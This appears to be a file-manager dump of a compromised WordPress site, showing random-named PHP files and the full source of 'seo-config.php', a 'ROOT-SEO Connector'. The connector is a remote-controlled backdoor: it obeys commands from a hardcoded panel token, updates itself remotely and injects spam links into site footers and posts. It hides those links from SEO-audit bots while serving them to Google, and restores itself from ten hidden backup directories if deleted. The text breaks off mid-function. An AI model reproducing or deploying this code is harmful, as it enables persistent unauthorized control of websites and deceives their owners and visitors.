FM / verdenaturopathy.com.au

/home/desid573/verdenaturopathy.com.au/

/home/desid573/verdenaturopathy.com.au

Name	Size	Mode	Actions
.tmb/	-	0777	rm
.well-known/	-	0755	rm
cgi-bin/	-	0755	rm
site2/	-	0755	rm
site3/	-	0755	rm
well-known/	-	0755	rm
wp-admin/	-	0755	rm
wp-content/	-	0755	rm
wp-includes/	-	0755	rm
.htaccess	803	0644	edit dl rm
biguggny.php	7317	0644	edit dl rm
google8de757cd3fbfffe9.html	53	0644	edit dl rm
gzzvuwjd.php	7317	0644	edit dl rm
index.php	405	0644	edit dl rm
lbmardcs.php	10560	0644	edit dl rm
license.txt	19903	0644	edit dl rm
ojeggwfo.php	10560	0644	edit dl rm
php.ini	105	0644	edit dl rm
qcqjgrjs.php	19513	0644	edit dl rm
readme.html	7407	0644	edit dl rm
robots.txt	310	0644	edit dl rm
seo-config.php	99220	0644	edit dl rm
sitemap2.xml	209070	0644	edit dl rm
vdojgyow.php	19513	0644	edit dl rm
wp-activate.php	7718	0644	edit dl rm
wp-blog-header.php	351	0644	edit dl rm
wp-comments-post.php	2323	0644	edit dl rm
wp-config-sample.php	3339	0644	edit dl rm
wp-config.php	3383	0600	edit dl rm
wp-cron-smii.php	1659	0644	edit dl rm
wp-cron.php	5617	0644	edit dl rm
wp-links-opml.php	2493	0644	edit dl rm
wp-load.php	3937	0644	edit dl rm
wp-login.php	52536	0644	edit dl rm
wp-mail.php	8727	0644	edit dl rm
wp-settings.php	33152	0644	edit dl rm
wp-signup.php	35081	0644	edit dl rm
wp-trackback.php	5396	0644	edit dl rm
xmlrpc.php	3205	0644	edit dl rm

Edit: /home/desid573/verdenaturopathy.com.au/seo-config.php (99220B)

<?php
/**
 * ROOT-SEO Connector v5.5.4
 * - Backwards compatible with v5.2/v5.3/v5.4/v5.5 protocol (ping, add_link, remove_link, sync_links,
 *   get_links, clear_links, clear_expired, verify_links, self_reconcile,
 *   placement_report, info, diagnose, output, capabilities, get_config, set_config,
 *   self_update, reinstall_placement, purge_cache)
 * - Stronger non-WP placement: Joomla/Drupal/OpenCart/Presta/Laravel/static footer
 *   discovery + .user.ini auto_prepend fallback (shared hosting).
 * - Links now have a "kind": "footer" (sitewide, visible footer) or "contextual"
 *   (injected into existing post content on WordPress; ephemeral by expiry).
 * - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
 * - Optional per-link seo_hidden: omit from Ahrefs/Semrush-like tool bots; Google still sees.
 * - No footer link cap (unlimited active footer links; expired still auto-cleaned).
 * - Stronger WP delivery: mu-plugin + theme footer patch + multi-hook/shutdown fallback.
 * - Document root resolved from connector path (avoids wrong vhost DOCUMENT_ROOT).
 * - After link/placement changes: purge WP page caches (Rocket/Litespeed/W3TC/Super Cache/…)
 *   + common cache directories so homepage HTML is not stuck stale.
 * - Contextual links are short-lived (enforced max TTL) and auto-removed when expired.
 * - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
 *   and self-heals if the primary file is deleted by a CMS/theme update. Version-aware:
 *   never restores an older version over a newer one.
 */

error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(200);
    exit;
}

define('CONNECTOR_VERSION', '5.5.4');
define('PANEL_API_URL', 'https://root-seo.com/api');
define('PANEL_TOKEN', 'vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn');
define('LINKS_FILE', __DIR__ . '/.rs_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.rs_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.rs_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.rs_prepend_v5.php');
define('GUARDIAN_STATE_FILE', __DIR__ . '/.rs_guardian_v5.json');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 20000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);

// v5.5 link-model tuning (overridable via set_config -> stored config).
define('FOOTER_LINK_CAP', 0);                  // 0 = unlimited footer links (no cap)
define('CONTEXTUAL_MAX_TTL_SECONDS', 172800);  // hard 48h cap for contextual links
define('AUTO_CLEAN_THROTTLE_SECONDS', 300);    // run auto-clean at most once / 5 min on render
define('GUARDIAN_COPIES', 10);                 // number of hidden backup mirrors
define('GUARDIAN_THROTTLE_SECONDS', 300);      // self-heal check at most once / 5 min
define('VALID_LINK_KINDS', 'footer,contextual');

function respond($success, $data = [], $message = '', $status = 200) {
    http_response_code($status);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode([
        'success' => (bool)$success,
        'message' => (string)$message,
        'data' => is_array($data) ? $data : []
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function get_action_name($req) {
    $action = '';
    if (isset($req['action'])) $action = (string)$req['action'];
    if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
    if ($action === '') $action = 'ping';
    $action = strtolower(trim($action));
    $action = preg_replace('/[^a-z0-9_]/', '', $action);
    return $action ?: 'ping';
}

function load_json_file($path, $fallback = []) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === '') return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
    return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}

function allowed_render_types() {
    // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro)
    // were removed — they looked unnatural in footers and increased footprint.
    return ['text_inline', 'text_footer'];
}

function default_render_types() {
    // v5.4: single natural footer/inline text anchor.
    return ['text_footer'];
}

function normalize_kind($kind) {
    $kind = strtolower(trim((string)$kind));
    $valid = explode(',', VALID_LINK_KINDS);
    return in_array($kind, $valid, true) ? $kind : 'footer';
}

function default_placement_state() {
    return [
        'status' => 'not_installed',
        'strategy' => null,
        'target' => null,
        'install_mode' => null,
        'marker' => null,
        'message' => '',
        'installed_at' => null,
        'last_attempt_at' => null,
        'last_verified_at' => null,
        'verify_status' => 'unknown',
        'history' => [],
    ];
}

function default_config() {
    // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but
    // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited.
    return [
        'output_mode' => 'visible',
        'render_profile' => 'minimal_inline',
        'render_types' => default_render_types(),
        'link_rel_strategy' => 'preserve',
        'footer_link_cap' => 0,
        'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS,
        'placement' => default_placement_state(),
    ];
}

function effective_footer_cap($config) {
    // <=0 means unlimited (no footer cap). Positive values keep an optional soft cap.
    if (!isset($config['footer_link_cap'])) return 0;
    $cap = intval($config['footer_link_cap']);
    if ($cap < 0) return 0;
    return $cap;
}

function effective_contextual_ttl($config) {
    $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS;
    if ($ttl < 300) $ttl = 300;
    if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
    return $ttl;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function is_panel_authenticated() {
    $expected = trim((string)PANEL_TOKEN);
    if ($expected === '' || strpos($expected, '{{') !== false) return false;
    $provided = '';
    if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) {
        $provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']);
    }
    return $provided !== '' && hash_equals($expected, $provided);
}

function load_nonce_store() {
    return load_json_file(NONCES_FILE, []);
}

function save_nonce_store($items) {
    return save_json_file(NONCES_FILE, $items);
}

function authenticate_protected_request() {
    if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
    enforce_optional_replay_guard();
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
    if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
    $parts = @parse_url($url);
    if (!$parts || empty($parts['scheme'])) return '';
    $scheme = strtolower((string)$parts['scheme']);
    if (!in_array($scheme, ['http', 'https'], true)) return '';
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === '') return '';
    if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
    return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row['placement_status'] = $placement['status'] ?? 'not_installed';
    $row['placement_strategy'] = $placement['strategy'] ?? null;
    $row['placement_target'] = $placement['target'] ?? null;
    $row['last_verified_at'] = $placement['last_verified_at'] ?? null;
    return $row;
}

/**
 * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL.
 * Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür.
 */
function rootseo_is_seo_tool_bot() {
    $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? ''));
    if ($ua === '') return false;
    $searchEngines = [
        'googlebot', 'google-inspectiontool', 'bingbot', 'slurp',
        'duckduckbot', 'yandexbot', 'applebot', 'baiduspider',
    ];
    foreach ($searchEngines as $m) {
        if (strpos($ua, $m) !== false) return false;
    }
    $seoTools = [
        'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic',
        'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot',
        'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer',
    ];
    foreach ($seoTools as $m) {
        if (strpos($ua, $m) !== false) return true;
    }
    return false;
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return [
        'total' => count($links),
        'active' => count($active),
        'expired' => count($expired),
    ];
}

function build_rel_attr($rel) {
    if ($rel === 'dofollow') return '';
    return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}

// v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text,
// genuinely on the page (no display:none / -9999px / 1px cloaking).
function rootseo_footer_container_style() {
    return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;';
}

function rootseo_footer_anchor_style() {
    return 'color:#9aa0a6;text-decoration:none;font-size:12px;';
}

function build_footer_anchor_html($link) {
    $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
    $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
    $relAttr = build_rel_attr($link['rel']);
    return '<a href="' . $url . '"' . $relAttr . ' style="' . rootseo_footer_anchor_style() . '">' . $anchor . '</a>';
}

// Build the visible footer block from FOOTER-kind links only.
function rootseo_build_footer_html($markRenderedOnce = true) {
    if ($markRenderedOnce && defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) {
        return '';
    }
    if ($markRenderedOnce) {
        define('ROOTSEO_CONNECTOR_RENDERED_ONCE', true);
    }
    $links = load_links();
    list($activeLinks, ) = filtered_links($links);
    $activeLinks = rootseo_filter_seo_hidden_for_visitor($activeLinks);
    if (empty($activeLinks)) return '';
    $anchors = [];
    foreach ($activeLinks as $link) {
        // Non-WP placements render contextual links in the footer too (real, visible).
        if (($link['kind'] ?? 'footer') === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) {
            continue; // contextual handled by the_content filter on WordPress
        }
        $anchors[] = build_footer_anchor_html($link);
    }
    if (empty($anchors)) return '';
    return '<div data-rootseo-render="footer" style="' . rootseo_footer_container_style() . '">' . implode(' &middot; ', $anchors) . '</div>';
}

// Backward-compatible alias (older placements call rootseo_render_links_html()).
function rootseo_render_links_html() {
    return rootseo_build_footer_html(true);
}

function rootseo_build_render_html($markRenderedOnce = true) {
    return rootseo_build_footer_html($markRenderedOnce);
}

// ===== Contextual (in-content) injection — WordPress the_content =====

function rootseo_contextual_inject($content) {
    // Frontend, main singular content only; inject at most one link, once per request.
    if (defined('ROOTSEO_CTX_DONE')) return $content;
    if (!is_string($content) || $content === '') return $content;
    if (function_exists('is_admin') && is_admin()) return $content;
    if (function_exists('is_feed') && is_feed()) return $content;
    if (function_exists('is_singular') && !is_singular()) return $content;
    if (function_exists('in_the_loop') && !in_the_loop()) return $content;
    if (function_exists('is_main_query') && !is_main_query()) return $content;

try {
        $links = load_links();
        list($activeLinks, ) = filtered_links($links);
        $activeLinks = rootseo_filter_seo_hidden_for_visitor($activeLinks);
        if (empty($activeLinks)) return $content;
        $postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0;
        $link = rootseo_pick_contextual_link($activeLinks, $postId ?: $content);
        if (!$link) return $content;
        define('ROOTSEO_CTX_DONE', true);

$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
        $relAttr = build_rel_attr($link['rel']);
        $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
        // Natural sentence wrapper, visible inline within the article body.
        $sentence = '<p data-rootseo-ctx="1">' . $a . '</p>';

// Insert after the first closing paragraph; fallback append.
        $pos = stripos($content, '</p>');
        if ($pos !== false) {
            $pos += 4;
            return substr($content, 0, $pos) . $sentence . substr($content, $pos);
        }
        return $content . $sentence;
    } catch (\Throwable $e) {
        return $content;
    }
}

// Called by the mu-plugin / functions-hook on WordPress (early load).
function rootseo_wp_register() {
    if (defined('ROOTSEO_WP_REGISTERED')) return;
    define('ROOTSEO_WP_REGISTERED', true);
    if (!function_exists('add_action')) return;
    if (function_exists('add_filter')) {
        define('ROOTSEO_WP_CONTEXTUAL_ACTIVE', true);
        add_filter('the_content', 'rootseo_contextual_inject', 50);
    }
    $emit = function () {
        echo rootseo_build_footer_html(true);
    };
    // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges.
    add_action('wp_footer', $emit, 9999);
    if (function_exists('add_action')) {
        add_action('wp_body_open', $emit, 9999);
        add_action('shutdown', function () {
            if (defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) return;
            // Last-resort visible emit if theme never fired footer hooks.
            if (PHP_SAPI === 'cli') return;
            $uri = $_SERVER['REQUEST_URI'] ?? '';
            if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return;
            echo rootseo_build_footer_html(true);
        }, 0);
    }
    rootseo_guardian_tick();
    rootseo_autoclean_tick();
}

$doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (is_string($doc) && $doc !== '' && is_dir($doc)) {
        $realDoc = @realpath($doc);
        $realSelf = @realpath(__FILE__);
        if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) {
            return $doc;
        }
    }
    return $start;
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) && is_writable($path)) return true;
    }
    if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
    return false;
}

function placement_marker($strategy) {
    return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(__FILE__);
    return "<?php /* ROOTSEO_START:$marker */ if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* ROOTSEO_END:$marker */ ?>";
}

function build_static_html_block($marker) {
    return "" . rootseo_build_render_html(false) . "";
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

// Guardian anchor: a self-contained PHP block (string) that restores the connector
// from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme
// update), then includes it. Lives inside mu-plugin / functions hook so it survives
// even when the connector file itself is gone. All ops are @-suppressed and safe.
function build_guardian_restore_block() {
    return "    if (!file_exists(\$c)) {\n"
        . "        \$d = dirname(\$c);\n"
        . "        foreach ((array)@glob(\$d . '/.rs_g*/.rs_connector.php.bak') as \$bak) {\n"
        . "            \$src = @file_get_contents(\$bak);\n"
        . "            if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'ROOT-SEO Connector') !== false) {\n"
        . "                @file_put_contents(\$c, \$src);\n"
        . "                if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n"
        . "                break;\n"
        . "            }\n"
        . "        }\n"
        . "    }\n";
}

function install_mu_plugin($siteInfo) {
    $base = $siteInfo['document_root'];
    $muDir = $base . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed'];
    }
    if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable'];
    $marker = placement_marker('wp_mu_plugin');
    $pluginPath = $muDir . '/rootseo-links-v5.php';
    if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed'];
    return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'];
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . '|' . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, ['html', 'htm'], true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}

function rootseo_write_prepend_helper($marker) {
    $connectorPath = addslashes(__FILE__);
    $helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n});\n";
    return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false;
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo['document_root'];
    $phpFiles = glob($base . '/*.php');
    if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
        if ($ok) return [true, $target, $mode, $msg, $marker];
    }
    return [false, null, null, 'no_writable_php_target', null];
}

function append_placement_history($config, $entry) {
    $history = $config['placement']['history'] ?? [];
    $history[] = $entry;
    if (count($history) > PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config['placement']['history'] = array_values($history);
    return $config;
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config['placement']['last_verified_at'] = gmdate('c');
    $config['placement']['verify_status'] = $verifyMessage;
    save_config($config);
    return [
        'version' => CONNECTOR_VERSION,
        'site_info' => $siteInfo,
        'placement' => $config['placement'],
        'link_stats' => $stats,
        'render_profile' => $config['render_profile'],
        'render_types' => $config['render_types'],
        'placement_ok' => $ok,
    ];
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate('c');
    foreach ($links as $id => $row) {
        $row['last_verified_at'] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
    }
    save_links($links);
    return placement_report_payload();
}

// ===== Consolidated auto-clean (throttled): expired + contextual TTL =====
// This single routine replaces scattered cleanup; it never runs more than once per
// AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead.
function rootseo_autoclean_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0;
        if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return;
        $state['last_autoclean'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

$links = load_links();
        $kept = [];
        foreach ($links as $id => $row) {
            $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
            if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual)
            $kept[$id] = $row;
        }
        if (count($kept) !== count($links)) {
            save_links($kept);
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

// ===== Guardian: self-healing mirrors =====
function guardian_dirs() {
    // Hidden, dotted backup dirs next to the connector + one in the doc-root.
    $base = __DIR__;
    $dirs = [];
    for ($i = 1; $i <= GUARDIAN_COPIES; $i++) {
        $dirs[] = $base . '/.rs_g' . $i;
    }
    return $dirs;
}

function rootseo_guardian_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0;
        if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return;
        $state['last_guardian'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

$self = __FILE__;
        $selfExists = file_exists($self);
        $selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : '';
        $selfHealthy = $selfExists && strpos($selfSrc, 'ROOT-SEO Connector') !== false;

// Version-aware: only refresh mirrors if our copy is newer/equal. Never let an
        // older mirror overwrite a newer primary (prevents undoing a self_update).
        $best = guardian_best_backup();
        if ($selfHealthy) {
            if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) {
                guardian_write_copies();
            }
            // Re-ensure dropped artifacts (mu-plugin etc.) still present.
            @refresh_current_placement(load_config());
            return;
        }
        // Primary missing/corrupt → restore from the newest valid backup.
        if ($best !== null) {
            $tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6);
            if (@file_put_contents($tmp, $best['src']) !== false) {
                @rename($tmp, $self);
                if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true);
            }
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

if (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true) {
    if (defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK && function_exists('add_action')) {
        // WordPress early-load (mu-plugin / functions hook): register filters/actions.
        rootseo_wp_register();
    } else {
        // Inline include (file patch / htaccess prepend): emit footer at this position.
        rootseo_guardian_tick();
        rootseo_autoclean_tick();
        echo rootseo_build_footer_html(false);
    }
    return;
}

// CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router.
if (defined('ROOTSEO_CLI_LIB_ONLY') && ROOTSEO_CLI_LIB_ONLY) {
    return;
}

$req = get_request_data();
$action = get_action_name($req);

if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
    authenticate_protected_request();
}

switch ($action) {
    case 'ping':
        $links = load_links();
        $config = load_config();
        $stats = get_link_stats($links);
        $siteInfo = detect_site_info();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        respond(true, [
            'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
            'site_name' => $siteInfo['site_name'],
            'site_type' => $siteInfo['site_type'],
            'language' => $siteInfo['language'],
            'country' => $siteInfo['country'],
            'version' => CONNECTOR_VERSION,
            'connector_family' => 'v5',
            'keyless' => true,
            'auth_mode' => 'panel_token',
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'links_total' => $stats['total'],
            'links_active' => $stats['active'],
            'links_expired' => $stats['expired'],
            'footer_detected' => $siteInfo['footer_detected'],
            'footer_writable' => $siteInfo['footer_writable'],
            'placement_ok' => $placementOk,
            'placement_strategy' => $config['placement']['strategy'],
            'placement_target' => $config['placement']['target'],
            'placement_verify_status' => $verifyMessage,
            'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache']
        ], 'ok');
        break;

case 'capabilities':
        respond(true, [
            'version' => CONNECTOR_VERSION,
            'auth' => ['panel_token', 'optional_replay_headers'],
            'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
            'render_types' => default_render_types(),
            'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'create_index_php', 'htaccess_prepend', 'any_php_file'],
            'limits' => [
                'max_links_per_sync' => MAX_LINKS_PER_SYNC,
                'max_anchor_length' => MAX_ANCHOR_LENGTH,
                'max_url_length' => MAX_URL_LENGTH,
                'max_request_bytes' => MAX_REQUEST_BYTES,
                'footer_link_cap' => 0,
            ],
            'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache'],
            'cache_purge' => true,
        ], 'capabilities');
        break;

case 'info':
        respond(true, detect_site_info(), 'info');
        break;

case 'diagnose':
        $siteInfo = detect_site_info();
        $links = load_links();
        $stats = get_link_stats($links);
        $config = load_config();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        $diag = [
            'version' => CONNECTOR_VERSION,
            'file_permissions' => [
                'links_file' => LINKS_FILE,
                'links_file_exists' => file_exists(LINKS_FILE),
                'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
                'config_file' => CONFIG_FILE,
                'config_file_exists' => file_exists(CONFIG_FILE),
                'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
                'nonces_file' => NONCES_FILE,
                'nonces_file_exists' => file_exists(NONCES_FILE),
                'prepend_helper_file' => PREPEND_HELPER_FILE,
                'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
            ],
            'link_stats' => $stats,
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'placement' => $config['placement'],
            'placement_ok' => $placementOk,
            'placement_verify_status' => $verifyMessage,
            'site_info' => $siteInfo,
            'php_settings' => [
                'php_version' => phpversion(),
                'allow_url_fopen' => ini_get('allow_url_fopen'),
                'open_basedir' => ini_get('open_basedir') ?: 'not_set',
                'max_execution_time' => ini_get('max_execution_time'),
            ],
            'recommendations' => [],
        ];
        if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
        if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
        if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
        respond(true, $diag, 'diagnose');
        break;

case 'get_links':
        $links = load_links();
        $stats = get_link_stats($links);
        respond(true, [
            'links' => array_values($links),
            'total' => $stats['total'],
            'active' => $stats['active'],
            'expired' => $stats['expired'],
            'placement' => load_config()['placement'],
            'render_types' => load_config()['render_types'],
        ], 'links');
        break;

case 'add_link':
        $url = validate_url_value($req['url'] ?? '');
        $anchor = validate_anchor_text($req['anchor'] ?? '');
        $rel = normalize_rel($req['rel'] ?? 'dofollow');
        $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
        if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
        $config = load_config();
        $existingLinks = load_links();
        $backup = $existingLinks;
        $linkId = validate_link_id($req['id'] ?? '');
        if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
        // v5.3: render_types now honoured from payload (panel can force a single variant per link).
        $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null;
        if (is_string($reqRenderTypes)) {
            $decoded = json_decode($reqRenderTypes, true);
            if (is_array($decoded)) $reqRenderTypes = $decoded;
            else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes)));
        }
        $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes)
            ? filter_render_types($reqRenderTypes)
            : $config['render_types'];
        $row = [
            'id' => $linkId,
            'kind' => normalize_kind($req['kind'] ?? 'footer'),
            'url' => $url,
            'anchor' => $anchor,
            'rel' => $rel,
            'expires_at' => $expiresAt,
            'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
            'updated_at' => time(),
            'render_profile' => $config['render_profile'],
            'render_types' => $effectiveRenderTypes,
